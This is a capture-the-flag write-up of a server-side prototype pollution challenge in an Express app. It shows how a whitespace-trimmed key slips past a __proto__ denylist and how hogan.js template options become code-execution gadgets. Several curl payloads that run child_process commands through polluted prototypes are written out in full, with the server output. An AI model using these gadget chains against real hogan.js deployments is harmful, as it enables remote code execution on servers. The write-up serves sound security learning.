Last month, @SecurityMB created a server-side prototype pollution CTF challenge. It’s been a while since I crafted server-side prototype pollution gadgets from scratch, so I took this chance to practice!
In this writeup, I will do a rundown on the challenge by discussing how I approached the challenge and how I arrived at both the intended and unintended solutions.
Problem
Target:
https://air-pollution.challenge.ctf.expert
https://twitter.com/SecurityMB/status/1453427046919639045Rules:
- The goal is to execute
/flag
via prototype pollution- You can download the source code
- The environment is recreated after every request. So make sure your payload works in a single request.
- Outgoing network connections are blocked on the server. So make sure you can read the flag right in the response.
- Flag format is
SECURITUM_[a-zA-Z0-9]+
Refresher on Prototype Pollution
Before we begin, here’s a quick refresher on how prototype pollution works:
> var control = {}, obj = {} // instantiate empty Objects
> obj.__proto__ === Object.prototype // obj inherited Object.prototype (this is how prototype chain works)
true
> obj.__proto__.test = "polluted" // prototype pollution here
> console.log(Object.prototype.test)
polluted
> console.log(control.test) // every other Object inheriting Object.prototype has polluted attributes
polluted
Finding the Prototype Pollution
Now, let’s dive straight into the most important file in the distributables – index.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
const express = require("express");
const { open } = require("sqlite");
const sqlite = require("sqlite3");
const hogan = require("hogan.js");
const app = express();
app.use((req, res, next) => {
res.setHeader("connection", "close");
next();
});
app.use(express.urlencoded({ extended: true }));
const loadDb = () => {
return open({
driver: sqlite.Database,
filename: "./data.sqlite",
});
};
const defaults = {
city: "*",
};
const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];
const merge = (obj1, obj2) => {
for (let key of Object.keys(obj2)) {
if (UNSAFE_KEYS.includes(key)) continue;
const val = obj2[key];
key = key.trim();
if (typeof obj1[key] !== "undefined" && typeof val === "object") {
obj1[key] = merge(obj1[key], val);
} else {
obj1[key] = val;
}
}
return obj1;
};
const TEMPLATE = `
<table border="1">
<thead>
<tr>
<th>City</th>
<th>Pollution index</th>
<th>Year</th>
</tr>
</thead>
<tbody>
{{#data}}
<tr>
<td>{{city}}</td>
<td>{{pollution}}</td>
<td>{{year}}</td>
</tr>
{{/data}}
{{^data}}
Nothing found
{{/data}}
</tbody>
</table>
`;
app.post("/get-data", async (req, res) => {
const db = await loadDb();
const reqFilter = req.body;
const filter = {};
merge(filter, defaults);
merge(filter, reqFilter);
const template = hogan.compile(TEMPLATE);
const conditions = [];
const params = [];
if (filter.city && filter.city !== "*") {
conditions.push(`city LIKE '%' || ? || '%'`);
params.push(filter.city);
}
if (filter.year) {
conditions.push("(year = ?)");
params.push(filter.year);
}
const query = `SELECT * FROM data ${
conditions.length > 0 ? `WHERE ${conditions.join(" AND ")}` : ""
}`;
const data = await db.all(query, params);
try {
return res.send(template.render({ data }));
} catch (ex) {
} finally {
await db.close();
}
const f = `return ${template}`;
try {
res.json({ error: Function(f)() });
} catch (ex) {
res.json({ error: ex + "" });
}
});
app.use(express.static("./public"));
app.listen(1339, () => {
console.log(`Listening on http://localhost:1339`);
});
Okay, that’s a lot of code to understand. Let’s break down the code further and examine them sections by sections.
Since the challenge is about server-side prototype pollution, let’s first examine how user input is being used in the merge()
function:
const defaults = {
city: "*",
};
const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];
const merge = (obj1, obj2) => {
for (let key of Object.keys(obj2)) {
if (UNSAFE_KEYS.includes(key)) continue; // [3]
const val = obj2[key];
key = key.trim(); // [4]
if (typeof obj1[key] !== "undefined" && typeof val === "object") {
obj1[key] = merge(obj1[key], val); // [5]
} else {
obj1[key] = val; // [6]
}
}
return obj1;
};
app.post("/get-data", async (req, res) => {
...
const reqFilter = req.body; // [1]
const filter = {};
merge(filter, defaults);
merge(filter, reqFilter); // [2]
...
}
At [1], reqFilter
points to an object representing all properties and values in the parsed request body (user-controlled input).
At [2], merge(filter, reqFilter)
is executed.
At [3], the keys of the object created in [1] are checked against a denylist – this is the time-of-check.
At [4], the key is being trimmed, potentially modifying the key after the denylist check is performed!
At [5] and [6], the key is being used – this is the time-of-use.
As highlighted above, there is a time-of-check to time-of-use vulnerability since the key is being modified after the denylist check is performed.
This means if req.body
points to the following object:
{
"__proto__ ": {
"polluted": "test"
}
}
In merge()
, the denylist check is satisfied since __proto__
(which a trailing whitespace) does not match any of the elements in the UNSAFE_KEYS
array.
After merge(filter, reqFilter)
has been executed, we will be able to set filter.__proto__.polluted
(i.e. Object.prototype.polluted
) to "test"
.
Escalating Prototype Pollution to RCE
Great, we found the server-side prototype pollution. But how can we get RCE and execute /flag
?
Let’s continue analysing the provided source code to gain some ideas:
const TEMPLATE = `
...
`;
app.post("/get-data", async (req, res) => {
...
merge(filter, reqFilter); // prototype pollution here
const template = hogan.compile(TEMPLATE); // [1]
const conditions = [];
const params = [];
if (filter.city && filter.city !== "*") {
conditions.push(`city LIKE '%' || ? || '%'`);
params.push(filter.city);
}
if (filter.year) {
conditions.push("(year = ?)");
params.push(filter.year);
}
const query = `SELECT * FROM data ${
conditions.length > 0 ? `WHERE ${conditions.join(" AND ")}` : ""
}`;
const data = await db.all(query, params); // [2]
try {
return res.send(template.render({ data })); // [3]
} catch (ex) {
} finally {
await db.close();
}
const f = `return ${template}`; // [4]
try {
res.json({ error: Function(f)() }); // [5]
} catch (ex) {
res.json({ error: ex + "" });
}
});
At [1], we see that we are now compiling a template.
Template engines are prime targets to look for prototype pollution RCE gadgets, since they often parse templates into an intermediate Abstract Syntax Tree (AST) before compiling the AST into code and executing the dynamically generated code. With prototype pollution, we may be able to trick the template parser into using the polluted values and injecting into the AST. This allows us to potentially inject into the compiled (generated) code that is subsequently executed/evaluated, resulting in RCE!
Let’s keep this in mind and move on. At [2], we see that db.all()
is called. Unfortunately, it’s pretty unlikely that we can do anything with it since query
uses prepared statements, and can’t be tampered with to include user-controlled inputs. Honestly, I didn’t spend much time looking into chaining prototype pollution to exploit sqlite3
much, because there is something much more interesting than that in the subsequent lines of code.
At [3], we can see that res.send(template.render({ data }))
is called within the try
block. If that fails, we end up reaching [4]
– which generates a string using template
and stores in variable f
. At [5], Function(f)()
, the contents of f
is evaluated as JavaScript code!
By intuition, we know that the goal of the challenge is to end up at [5] and inject user-controlled input into template
somehow, such that when Function(f)()
is executed, we get RCE.
So, how do we cause an error in [3]
such that we end in at [4]
? Referencing the documentation for hogan.js
(a compiler for Mustache templating language), we see an interesting compilation option:
asString
: return the compiled template as a string. This feature is used by hulk to produce strings containing pre-compiled templates.
If we set the asString
option using prototype pollution, hogan.compile(TEMPLATE)
at [1] will now return a String
. At [3], the template
does not have the render()
function since it’s a String
object and not a Hogan.Template
object – this allows us to an error and successfully land at [4]!
It’s good that we are making progress, but we haven’t figured out how to inject into the template
returned at [1].
Let’s verify what we have found so far by sending the following request to our test server:
$ curl -X POST http://localhost:1339/get-data -d '__proto__ [asString]=1'
curl: (52) Empty reply from server
Something went wrong. Let’s look at the stack trace:
$ node /app/index.js
Listening on http://localhost:1339
/app/node_modules/hogan.js/lib/compiler.js:309
return s.replace(rSlash, '\\\\')
^
TypeError: Cannot read property 'replace' of undefined
at esc (/app/node_modules/hogan.js/lib/compiler.js:309:14)
at stringifyPartials (/app/node_modules/hogan.js/lib/compiler.js:263:52)
at Object.Hogan.stringify (/app/node_modules/hogan.js/lib/compiler.js:269:82)
at Object.Hogan.generate (/app/node_modules/hogan.js/lib/compiler.js:279:19)
at Object.Hogan.compile (/app/node_modules/hogan.js/lib/compiler.js:420:21)
at /app/index.js:72:26
It seems that hogan.js
is attempting to use a variable but it is undefined
– this is likely a side-effect of us polluting Object.prototype
to set options.asString
.
From the stack trace, we should be examining stringifyPartials()
and esc()
.
But first, let’s start with Hogan.compile()
to understand more about the library. :)
Finding the Intended Solution
Let’s first take a look at Hogan.compile()
defined in lib/compiler.js:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Hogan.cache = {};
Hogan.cacheKey = function(text, options) {
return [text, !!options.asString, !!options.disableLambda, options.delimiters, !!options.modelGet].join('||');
}
Hogan.compile = function(text, options) {
options = options || {}; // [1]
var key = Hogan.cacheKey(text, options);
var template = this.cache[key]; // [2]
if (template) {
var partials = template.partials;
for (var name in partials) {
delete partials[name].instance;
}
return template; // [3]
}
template = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options); // [4]
return this.cache[key] = template; // [5]
}
At [1], options
instantiates a new Object
, which inherits the polluted prototype chain.
At [2], it attempts to look up the template within Hogan.cache
. Since Hogan.cache
is an Object
that inherits Object.prototype
, we can pollute the prototype chain with arbitrary key/values that are accessible via Hogan.cache[key]
. At [3], we can return the attacker-controlled string inserted using prototype pollution.
This sounds great, but unfortunately won’t work due to the leading newline in TEMPLATE
passed as the first argument to Hogan.compile()
:
const TEMPLATE = `
<table border="1">
...
`;
Recall that since key
is trimmed during the merge()
, we can only pollute Object.prototype
with keys that do not start or end with whitespaces. However, the Hogan.cacheKey
contains a leading whitespace. As such, we are unable to reference our polluted value using the generated cache key.
Moving on to [4], the template is generated and returned at [5].
We will skip the other functions and continue analysing the code of Hogan.generate()
for now, since that is where the stack trace leads us to.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Hogan.generate = function(tree, text, options) {
serialNo = 0;
var context = { code: '', subs: {}, partials: {} }; // [1]
Hogan.walk(tree, context); // [2]
if (options.asString) {
return this.stringify(context, text, options); // [3]
}
return this.makeTemplate(context, text, options);
}
Hogan.walk = function(nodelist, context) {
var func;
for (var i = 0, l = nodelist.length; i < l; i++) {
func = Hogan.codegen[nodelist[i].tag]; // [4]
func && func(nodelist[i], context);
}
return context;
}
Hogan.stringify = function(codeObj, text, options) {
return "{code: function (c,p,i) { " + Hogan.wrapMain(codeObj.code) + " }," + stringifyPartials(codeObj) + "}";
}
Hogan.wrapMain = function(code) {
return 'var t=this;t.b(i=i||"");' + code + 'return t.fl();';
}
At [1], context.code
is initialized – an object’s properties takes priority over any inheritied properties from its prototype chain.
At [2], the AST is traversed and the context.code
is created. Unfortunately for us, we are unable to us to override any of the referenced properties used within Hogan.codegen
with prototype pollution, so we cannot inject into the AST during the traversal process.
Continuing on, we want to end up at [3] so that we return a String
from Hogan.generate()
. Observe that Hogan.stringify()
calls Hogan.wrapMain(codeObj.code)
and stringifyPartials(codeObj)
under the hood. Since we are unable to inject into context.code
, we cannot inject into Hogan.wrapMain()
. Let’s move on to take a closer look at stringifyPartials()
:
1
2
3
4
5
6
7
function stringifyPartials(codeObj) {
var partials = [];
for (var key in codeObj.partials) { // [5]
partials.push('"' + esc(key) + '":{name:"' + esc(codeObj.partials[key].name) + '", ' + stringifyPartials(codeObj.partials[key]) + "}"); // [6]
}
return "partials: {" + partials.join(",") + "}, subs: " + stringifySubstitutions(codeObj.subs);
}
Observe that at [5], a for ... in
loop is used. This iterates over all enumerable properties of the object and those inherited from its property chain!
From this code, it is easy to identify why we encountered an error earlier.
- We performed prototype pollution to set the property:
Object.prototype.asString = '1'
. - When looping over
codeObj.partials
, it finds a key:codeObj.partials.asString
, which is aString
. - At [6],
codeObj.partials[key].name
points to an undefined property of the string –Object.prototype.name
is not defined yet! - We get an error in
esc()
for trying to callString.prototype.replace()
on anundefined
object.
So, to resolve the error, we also need to set the name
property.
Lastly, stringifySubstitutions()
is called. Again, we observe a similar for ... in
loop, but this time we also see that obj[key]
is used without escaping at [7]:
1
2
3
4
5
6
7
function stringifySubstitutions(obj) {
var items = [];
for (var key in obj) {
items.push('"' + esc(key) + '": function(c,p,t,i) {' + obj[key] + '}'); // [7]
}
return "{ " + items.join(",") + " }";
}
This allows us to inject into the generated template!
Intended Solutions
Below are some variations of the intended solutions leveraging prototype pollution to inject into the generated template in the stringifySubstitutions()
function:
$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
-d '__proto__ [name]=' \
-d '__proto__ [asString]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//'
{"error":{"partials":{"name":{"name":"","partials":{},"subs":{}},"asString":{"name":"","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}
$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
-d '__proto__ [name]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//' \
-d '__proto__ [asString]=1'
{"error":{"partials":{"name":{"name":"},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//","partials":{},"subs":{}},"asString":{"name":"},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}
$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
-d '__proto__ [asString]=1' \
-d '__proto__ [name]=2' \
-d '__proto__ [inject]=},flag:process.mainModule.require(`child_process`).execSync(`/flag`).toString()}}//'
{"error":{"partials":{"asString":{"name":"2","partials":{},"subs":{}},"name":{"name":"2","partials":{},"subs":{}},"inject":{"name":"2","partials":{},"subs":{}}},"subs":{"flag":"SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag\n"}}}
Finally, we got the flag:
SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular
Unintended Solution
Naturally, while solving this challenge, I wondered if it was possible to trigger RCE directly with prototype pollution when template.render()
was invoked.
I was chatting with @CurseRed, and both of us felt that it is very likely that we can achieve RCE when template.render()
is called, especially since we can inject into the stringified template. So, we decided to challenge ourselves to try to find for a pure prototype pollution to RCE gadget.
After reading through the code a bit more, it was clear that we definitely needed to look for an injection point that does not escape our input. Also, we are unable to control the values of any properties in Hogan.codegen
, which is used to traverse the AST and build the generated code in Hogan.walk()
.
Eventually, I discovered the following code in the library:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Hogan.generate = function(tree, text, options) {
...
return this.makeTemplate(context, text, options);
}
Hogan.makeTemplate = function(codeObj, text, options) {
var template = this.makePartials(codeObj);
...
}
Hogan.makePartials = function(codeObj) {
var key, template = {subs: {}, partials: codeObj.partials, name: codeObj.name};
for (key in template.partials) {
template.partials[key] = this.makePartials(template.partials[key]);
}
for (key in codeObj.subs) {
template.subs[key] = new Function('c', 'p', 't', 'i', codeObj.subs[key]); // [1]
}
return template;
}
function createPartial(node, context) {
var prefix = "<" + (context.prefix || "");
var sym = prefix + node.n + serialNo++;
context.partials[sym] = {name: node.n, partials: {}};
context.code += 't.b(t.rp("' + esc(sym) + '",c,p,"' + (node.indent || '') + '"));'; // [2]
return sym;
}
Looking at [1], although we can inject directly into the Function
’s body, we are unable to use template.subs
at all. This is because Hogan.codegen
looks for specific characters within the Mustache template:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Hogan.codegen = {
'#': function(node, context) { // this is a section e.g. {{#section}}...{{/section}}
...
},
'^': function(node, context) { // this is an inverted section e.g. {{^inverted}}...{{/inverted}}
...
},
'>': createPartial,
'<': function(node, context) { // this is a partial e.g. {{>partial}}...{{/partial}}
...
},
'$': function(node, context) { // this is a substitution e.g. {{$sub}}...{{/sub}}
...
},
...
}
Unfortunately, the character $
does not appear in the TEMPLATE
constant, so even though we can create functions and control the Function
’s body, these dynamically-created functions are never called.
Interestingly, [2] presents a new opportunity – partials allow us to inject code directly into the generated code
through polluting Object.prototype.indent
!
Referring to the Hogan.codegen
though, we can’t find {{>
(i.e. starting marker for partials) in the TEMPLATE
constant.
It seems like we reached a dead end, but all hope is not lost yet!
hogan.js
also allows us to specify custom delimiters via options.delimiters
, which we can set by polluting Object.prototype.delimiters
.
Let’s further examine how the delimiters are used:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Hogan.compile = function(text, options) {
options = options || {};
...
template = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options);
return this.cache[key] = template;
}
Hogan.scan = function scan(text, delimiters) { // this parses the template into AST
...
if (delimiters) {
delimiters = delimiters.split(' ');
otag = delimiters[0];
ctag = delimiters[1];
}
...
}
Notice that options.delimiters
is passed to Hogan.scan()
, which derives the opening tag marker (otag
) and the closing tag marker (ctag
) from options.delimiter
.
This means that so long as the template contains >
, we can trick hogan.js
into parsing the code surrounding the >
character as partials! And since we are generating a HTML template, finding >
is trivial :)
The last hurdle to overcome is that the payload we place within Object.prototype.indent
needs to be valid JavaScript when placed within the Function
body in Hogan.makePartials()
, but it also needs to be valid JavaScript when injected into the code generated in createPartial()
.
Tip: You can log the generated function (i.e. Hogan.Template.r
) in node_modules/hogan.js/lib/template.js
if you are struggling to figure out what is wrong with your payload.
Unintended Solution:
$ curl -X POST https://air-pollution.challenge.ctf.expert/get-data \
-d '__proto__ [delimiters]=tr %0a' \
-d '__proto__ [indent]=/*"));return process.mainModule.require(`child_process`).execSync(`/flag`).toString()//*/'
SECURITUM_PrototypePollutionIsGettingMoreAndMorePopular /flag